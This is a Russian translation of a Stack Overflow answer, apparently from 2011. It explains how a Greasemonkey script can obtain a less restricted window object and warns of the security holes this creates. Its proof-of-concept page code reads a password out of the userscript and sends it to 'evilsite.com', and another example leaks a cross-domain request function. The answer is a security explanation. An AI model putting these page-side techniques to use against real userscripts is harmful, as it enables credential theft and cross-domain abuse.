Я нашел способ решить вопрос. Будьте осторожны, используя этот метод: когда вы частично/неправильно реализуете этот код, вы открываете потенциальную дыру в безопасности.
Код ниже получает объект window
без неоднозначных ограничений unsafeWindow
. Любой код, выполняемый в рамках этого объекта window
, будет вести себя, как если бы он был частью фактической страницы, аналогично сценариям контента в расширениях Google Chrome.
Код
// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==
//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);
//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);
}).call($_WINDOW)
Соображения безопасности
- Оберните код, использующий методы/переменные этого объекта
window
, в функцию, чтобы не создавать опасных дыр. Не позволяйте этой оболочке функции выполнять случайный код на основе пользовательского ввода.
- См. Пример 3, чтобы узнать, как правильно реализовать
$_WINDOW
.
Примеры/доказательство концепции
Ниже я покажу возможные случаи, когда объект $_WINDOW
реализуется опасным образом. Очевидно, что Код на "//page
" не ожидался разработчиком сценария GM.
Примечание. Некоторые примеры (например, пример 2) могут быть полезны для безопасных (локальных) веб-приложений (на уровне file:///
, например).
В примере 3 показан правильный метод использования $_WINDOW
.
Я использовал волшебную функцию __defineGetter__
для обнаружения обращений к переменной, потому что большинство разработчиков скриптов не знают об этой возможности. Прямой вызов функций также приведет к запуску вредоносного кода;
Основная причина заложена в arguments.callee.caller
. Внутри функции этот объект будет ссылаться на функцию, вызвавшую текущую функцию. Когда используется unsafeWindow
, переменная arguments.callee.caller
не может быть вызвана. Затем функция будет отображаться как function SJOWContentBoundary{ [native code]}
. Однако, когда используется $_WINDOW
, реальная функция GM видна и может быть вызвана удаленной страницей.
Пример 1: Чтение (разумных) данных из скрипта GreaseMonkey
//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?
//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})
Пример 2: утечка междоменного метода XMLHttpRequest
на произвольную страницу.
Создатель этого скрипта GM намеревался изменить страницу в соответствии с изменением хэша. Однако, включив проверку (должна ли быть затронута страница) в функцию, которая изменяет URL/обратный вызов, была создана дыра.
//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}
//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});
Пример 3: Правильное использование
Методы получения переменных должны быть определены таким образом, чтобы не было возможности делать произвольные запросы. Функции не должны принимать переменные. Если это все еще необходимо, оберните геттер в анонимную функцию.
//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}
//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");
//Page:
var variable = "There's no way to abuse this GM bridge.";
person
Rob W
schedule
15.10.2011